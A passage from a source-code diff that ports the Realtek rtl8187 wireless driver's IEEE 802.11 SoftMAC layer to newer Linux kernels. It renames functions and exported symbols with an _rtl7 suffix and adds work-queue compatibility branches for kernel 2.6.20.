ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac_wx.c 2010-05-19 22:18:51.972696243 -0700 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - 